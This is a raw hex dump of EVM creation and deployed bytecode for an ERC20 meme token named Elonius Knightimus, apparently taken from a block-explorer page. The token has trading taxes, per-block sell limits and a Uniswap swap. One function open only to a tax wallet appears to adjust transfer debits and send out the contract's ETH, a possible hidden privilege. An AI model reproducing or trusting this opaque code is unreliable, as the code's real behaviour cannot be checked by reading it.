575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a2575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a9b57600e548211156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390612f4e565b60405180910390fd5b600f54826119f9856108eb565b611a039190612f6c565b1115611a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3b90612fe9565b60405180910390fd5b611a816064611a73600954600d541015611a6057600554611a64565b6007545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b9050600d5f815480929190611a9590613007565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b2357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b6857611b656064611b57600a54600d541015611b4457600654611b48565b6008545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b5f611b72306108eb565b9050601360159054906101000a900460ff16158015611bdd575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bf55750601360169054906101000a900460ff165b8015611c02575060105481115b8015611c125750600b54600d5410155b15611cc157601654431115611c29575f6014819055505b600360145410611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613098565b60405180910390fd5b611c8b611c8684611c8184601154612314565b612314565b611fd9565b5f4790505f811115611ca157611ca047611622565b5b60145f815480929190611cb390613007565b919050555043601681905550505b505b5f811115611dc257611d1b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461232c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611db99190612647565b60405180910390a35b611e166017548360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123899092919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eb9611e6d82846123fc90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461232c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611f5c84866123fc90919063ffffffff16565b604051611f699190612647565b60405180910390a350505050565b5f838311158290611fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb59190612516565b60405180910390fd5b505f8385611fcc91906130b6565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506015546017819055505f600267ffffffffffffffff811115612019576120186130e9565b5b6040519080825280602002602001820160405280156120475781602001602082028036833780820191505090505b50905030815f8151811061205e5761205d613116565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612102573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121269190612a6b565b8160018151811061213a57612139613116565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121a03060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461145f565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016122029594939291906131fa565b5f604051808303815f87803b158015612219575f5ffd5b505af115801561222b573d5f5f3e3d5ffd5b50505050505f6017819055505f601360156101000a81548160ff02191690831515021790555050565b5f5f8303612264575f90506122c5565b5f828461227191906129ae565b9050828482612280919061327f565b146122c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b79061331f565b60405180910390fd5b809150505b92915050565b5f61230c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612445565b905092915050565b5f8183116123225782612324565b815b905092915050565b5f5f828461233a9190612f6c565b90508381101561237f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237690613387565b60405180910390fd5b8091505092915050565b5f838211156123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c4906133ef565b60405180910390fd5b6123f36123da85846123fc565b6123ee856123e98660646122cb565b612254565b61232c565b90509392505050565b5f61243d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f77565b905092915050565b5f5f8311829061248b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124829190612516565b60405180910390fd5b505f8385612499919061327f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6124e8826124a6565b6124f281856124b0565b93506125028185602086016124c0565b61250b816124ce565b840191505092915050565b5f6020820190508181035f83015261252e81846124de565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125638261253a565b9050919050565b61257381612559565b811461257d575f5ffd5b50565b5f8135905061258e8161256a565b92915050565b5f819050919050565b6125a681612594565b81146125b0575f5ffd5b50565b5f813590506125c18161259d565b92915050565b5f5f604083850312156125dd576125dc612536565b5b5f6125ea85828601612580565b92505060206125fb858286016125b3565b9150509250929050565b5f8115159050919050565b61261981612605565b82525050565b5f6020820190506126325f830184612610565b92915050565b61264181612594565b82525050565b5f60208201905061265a5f830184612638565b92915050565b5f6020828403121561267557612674612536565b5b5f612682848285016125b3565b91505092915050565b5f5f5f606084860312156126a2576126a1612536565b5b5f6126af86828701612580565b93505060206126c086828701612580565b92505060406126d1868287016125b3565b9150509250925092565b5f60ff82169050919050565b6126f0816126db565b82525050565b5f6020820190506127095f8301846126e7565b92915050565b5f6020828403121561272457612723612536565b5b5f61273184828501612580565b91505092915050565b61274381612559565b82525050565b5f60208201905061275c5f83018461273a565b92915050565b5f5f6040838503121561277857612777612536565b5b5f61278585828601612580565b925050602061279685828601612580565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127d46020836124b0565b91506127df826127a0565b602082019050919050565b5f6020820190508181035f830152612801816127c8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561288a5780860481111561286657612865612808565b5b60018516156128755780820291505b808102905061288385612835565b945061284a565b94509492505050565b5f826128a2576001905061295d565b816128af575f905061295d565b81600181146128c557600281146128cf576128fe565b600191505061295d565b60ff8411156128e1576128e0612808565b5b8360020a9150848211156128f8576128f7612808565b5b5061295d565b5060208310610133831016604e8410600b84101617156129335782820a90508381111561292e5761292d612808565b5b61295d565b6129408484846001612841565b9250905081840481111561295757612956612808565b5b81810290505b9392505050565b5f61296e82612594565b9150612979836126db565b92506129a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612893565b905092915050565b5f6129b882612594565b91506129c383612594565b92508282026129d181612594565b915082820484148315176129e8576129e7612808565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a236017836124b0565b9150612a2e826129ef565b602082019050919050565b5f6020820190508181035f830152612a5081612a17565b9050919050565b5f81519050612a658161256a565b92915050565b5f60208284031215612a8057612a7f612536565b5b5f612a8d84828501612a57565b91505092915050565b5f604082019050612aa95f83018561273a565b612ab6602083018461273a565b9392505050565b5f604082019050612ad05f83018561273a565b612add6020830184612638565b9392505050565b612aed81612605565b8114612af7575f5ffd5b50565b5f81519050612b0881612ae4565b92915050565b5f60208284031215612b2357612b22612536565b5b5f612b3084828501612afa565b91505092915050565b5f819050919050565b5f819050919050565b5f612b65612b60612b5b84612b39565b612b42565b612594565b9050919050565b612b7581612b4b565b82525050565b5f60c082019050612b8e5f83018961273a565b612b9b6020830188612638565b612ba86040830187612b6c565b612bb56060830186612b6c565b612bc2608083018561273a565b612bcf60a0830184612638565b979650505050505050565b5f81519050612be88161259d565b92915050565b5f5f5f60608486031215612c0557612c04612536565b5b5f612c1286828701612bda565b9350506020612c2386828701612bda565b9250506040612c3486828701612bda565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c986024836124b0565b9150612ca382612c3e565b604082019050919050565b5f6020820190508181035f830152612cc581612c8c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d266022836124b0565b9150612d3182612ccc565b604082019050919050565b5f6020820190508181035f830152612d5381612d1a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612db46025836124b0565b9150612dbf82612d5a565b604082019050919050565b5f6020820190508181035f830152612de181612da8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e426023836124b0565b9150612e4d82612de8565b604082019050919050565b5f6020820190508181035f830152612e6f81612e36565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ed06029836124b0565b9150612edb82612e76565b604082019050919050565b5f6020820190508181035f830152612efd81612ec4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f386019836124b0565b9150612f4382612f04565b602082019050919050565b5f6020820190508181035f830152612f6581612f2c565b9050919050565b5f612f7682612594565b9150612f8183612594565b9250828201905080821115612f9957612f98612808565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612fd3601a836124b0565b9150612fde82612f9f565b602082019050919050565b5f6020820190508181035f83015261300081612fc7565b9050919050565b5f61301182612594565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304357613042612808565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6130826017836124b0565b915061308d8261304e565b602082019050919050565b5f6020820190508181035f8301526130af81613076565b9050919050565b5f6130c082612594565b91506130cb83612594565b92508282039050818111156130e3576130e2612808565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61317581612559565b82525050565b5f613186838361316c565b60208301905092915050565b5f602082019050919050565b5f6131a882613143565b6131b2818561314d565b93506131bd8361315d565b805f5b838110156131ed5781516131d4888261317b565b97506131df83613192565b9250506001810190506131c0565b5085935050505092915050565b5f60a08201905061320d5f830188612638565b61321a6020830187612b6c565b818103604083015261322c818661319e565b905061323b606083018561273a565b6132486080830184612638565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61328982612594565b915061329483612594565b9250826132a4576132a3613252565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133096021836124b0565b9150613314826132af565b604082019050919050565b5f6020820190508181035f830152613336816132fd565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613371601b836124b0565b915061337c8261333d565b602082019050919050565b5f6020820190508181035f83015261339e81613365565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6133d9601e836124b0565b91506133e4826133a5565b602082019050919050565b5f6020820190508181035f830152613406816133cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af2d93e843a98bb6d87b3771d6926b44ab3702e21b46580ab858cf87e5296b3564736f6c634300081d0033

Deployed Bytecode

0x608060405260043610610122575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063c9567bf914610417578063dd62ed3e1461042d57610129565b806370a08231146102b7578063715018a6146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b80631ad34a4f116100e65780631ad34a4f146101fd57806323b872dd14610225578063313ce5671461026157806351bc3c851461028b57806362256589146102a157610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f14610193578063109daa99146101bd57806318160ddd146101d357610129565b3661012957005b5f5ffd5b348015610138575f5ffd5b50610141610469565b60405161014e9190612516565b60405180910390f35b348015610162575f5ffd5b5061017d600480360381019061017891906125c7565b6104a6565b60405161018a919061261f565b60405180910390f35b34801561019e575f5ffd5b506101a76104c3565b6040516101b49190612647565b60405180910390f35b3480156101c8575f5ffd5b506101d16104c9565b005b3480156101de575f5ffd5b506101e7610567565b6040516101f49190612647565b60405180910390f35b348015610208575f5ffd5b50610223600480360381019061021e9190612660565b61058a565b005b348015610230575f5ffd5b5061024b6004803603810190610246919061268b565b610602565b604051610258919061261f565b60405180910390f35b34801561026c575f5ffd5b506102756106d6565b60405161028291906126f6565b60405180910390f35b348015610296575f5ffd5b5061029f6106de565b005b3480156102ac575f5ffd5b506102b56107bb565b005b3480156102c2575f5ffd5b506102dd60048036038101906102d8919061270f565b6108eb565b6040516102ea9190612647565b60405180910390f35b3480156102fe575f5ffd5b50610307610931565b005b348015610314575f5ffd5b5061031d610a81565b60405161032a9190612647565b60405180910390f35b34801561033e575f5ffd5b50610347610a87565b6040516103549190612749565b60405180910390f35b348015610368575f5ffd5b50610371610aae565b60405161037e9190612647565b60405180910390f35b348015610392575f5ffd5b5061039b610ab4565b6040516103a89190612516565b60405180910390f35b3480156103bc575f5ffd5b506103d760048036038101906103d291906125c7565b610af1565b6040516103e4919061261f565b60405180910390f35b3480156103f8575f5ffd5b50610401610b0e565b60405161040e9190612647565b60405180910390f35b348015610422575f5ffd5b5061042b610b14565b005b348015610438575f5ffd5b50610453600480360381019061044e9190612762565b6113d6565b6040516104609190612647565b60405180910390f35b60606040518060400160405280601281526020017f456c6f6e697573204b6e69676874696d75730000000000000000000000000000815250905090565b5f6104b96104b2611458565b848461145f565b6001905092915050565b60115481565b6104d1611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610555906127ea565b60405180910390fd5b5f600c81905550565b5f6009600a6105769190612964565b633b9aca0061058591906129ae565b905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105cb611458565b73ffffffffffffffffffffffffffffffffffffffff16146105ea575f5ffd5b806015819055505f4790506105fe81611622565b5050565b5f61060e84848461168b565b6106cb8461061a611458565b6106c68560405180606001604052806028815260200161340e6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067d611458565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f779092919063ffffffff16565b61145f565b600190509392505050565b5f6009905090565b6001601360156101000a81548160ff021916908315150217905550601554601781905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610743611458565b73ffffffffffffffffffffffffffffffffffffffff1614610762575f5ffd5b5f61076c306108eb565b90505f8111156107805761077f81611fd9565b5b5f4790505f8111156107965761079581611622565b5b50505f6017819055505f601360156101000a81548160ff021916908315150217905550565b6107c3611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610847906127ea565b60405180910390fd5b6009600a61085e9190612964565b633b9aca0061086d91906129ae565b600e819055506009600a6108819190612964565b633b9aca0061089091906129ae565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108c59190612964565b633b9aca006108d491906129ae565b6040516108e19190612647565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610939611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd906127ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600a81526020017f4b4e49474854494d555300000000000000000000000000000000000000000000815250905090565b5f610b04610afd611458565b848461168b565b6001905092915050565b60105481565b610b1c611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba0906127ea565b60405180910390fd5b601360149054906101000a900460ff1615610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf090612a39565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cce573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf29190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d77573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9b9190612a6b565b306040518363ffffffff1660e01b8152600401610db9929190612a96565b602060405180830381865afa158015610dd4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df89190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1603610fec5760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea19190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f26573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4a9190612a6b565b306040518363ffffffff1660e01b8152600401610f68929190612a96565b6020604051808303815f875af1158015610f84573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa89190612a6b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111c0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611056573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a9190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ff573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111239190612a6b565b306040518363ffffffff1660e01b8152600401611141929190612a96565b602060405180830381865afa15801561115c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111809190612a6b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125d929190612abd565b6020604051808303815f875af1158015611279573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129d9190612b0e565b506112e63060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6112d29190612964565b633b9aca006112e191906129ae565b61145f565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061132e306108eb565b5f5f611338610a87565b426040518863ffffffff1660e01b815260040161135a96959493929190612b7b565b60606040518083038185885af1158015611376573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061139b9190612bee565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c490612cae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290612d3c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116159190612647565b60405180910390a3505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611687573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612dca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175e90612e58565b60405180910390fd5b5f81116117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090612ee6565b60405180910390fd5b5f5f90506117b5610a87565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561182357506117f3610a87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cc3575f600d54036118715761186e6064611860600954600d54101561184d57600554611851565b6007545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b5f600d5411156118a6576118a36064611895600c548561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561194f575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a2575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a9b57600e548211156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390612f4e565b60405180910390fd5b600f54826119f9856108eb565b611a039190612f6c565b1115611a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3b90612fe9565b60405180910390fd5b611a816064611a73600954600d541015611a6057600554611a64565b6007545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b9050600d5f815480929190611a9590613007565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b2357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b6857611b656064611b57600a54600d541015611b4457600654611b48565b6008545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b5f611b72306108eb565b9050601360159054906101000a900460ff16158015611bdd575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bf55750601360169054906101000a900460ff165b8015611c02575060105481115b8015611c125750600b54600d5410155b15611cc157601654431115611c29575f6014819055505b600360145410611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613098565b60405180910390fd5b611c8b611c8684611c8184601154612314565b612314565b611fd9565b5f4790505f811115611ca157611ca047611622565b5b60145f815480929190611cb390613007565b919050555043601681905550505b505b5f811115611dc257611d1b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461232c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611db99190612647565b60405180910390a35b611e166017548360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123899092919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eb9611e6d82846123fc90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461232c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611f5c84866123fc90919063ffffffff16565b604051611f699190612647565b60405180910390a350505050565b5f838311158290611fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb59190612516565b60405180910390fd5b505f8385611fcc91906130b6565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506015546017819055505f600267ffffffffffffffff811115612019576120186130e9565b5b6040519080825280602002602001820160405280156120475781602001602082028036833780820191505090505b50905030815f8151811061205e5761205d613116565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612102573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121269190612a6b565b8160018151811061213a57612139613116565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121a03060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461145f565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016122029594939291906131fa565b5f604051808303815f87803b158015612219575f5ffd5b505af115801561222b573d5f5f3e3d5ffd5b50505050505f6017819055505f601360156101000a81548160ff02191690831515021790555050565b5f5f8303612264575f90506122c5565b5f828461227191906129ae565b9050828482612280919061327f565b146122c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b79061331f565b60405180910390fd5b809150505b92915050565b5f61230c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612445565b905092915050565b5f8183116123225782612324565b815b905092915050565b5f5f828461233a9190612f6c565b90508381101561237f576040517f08c379a00000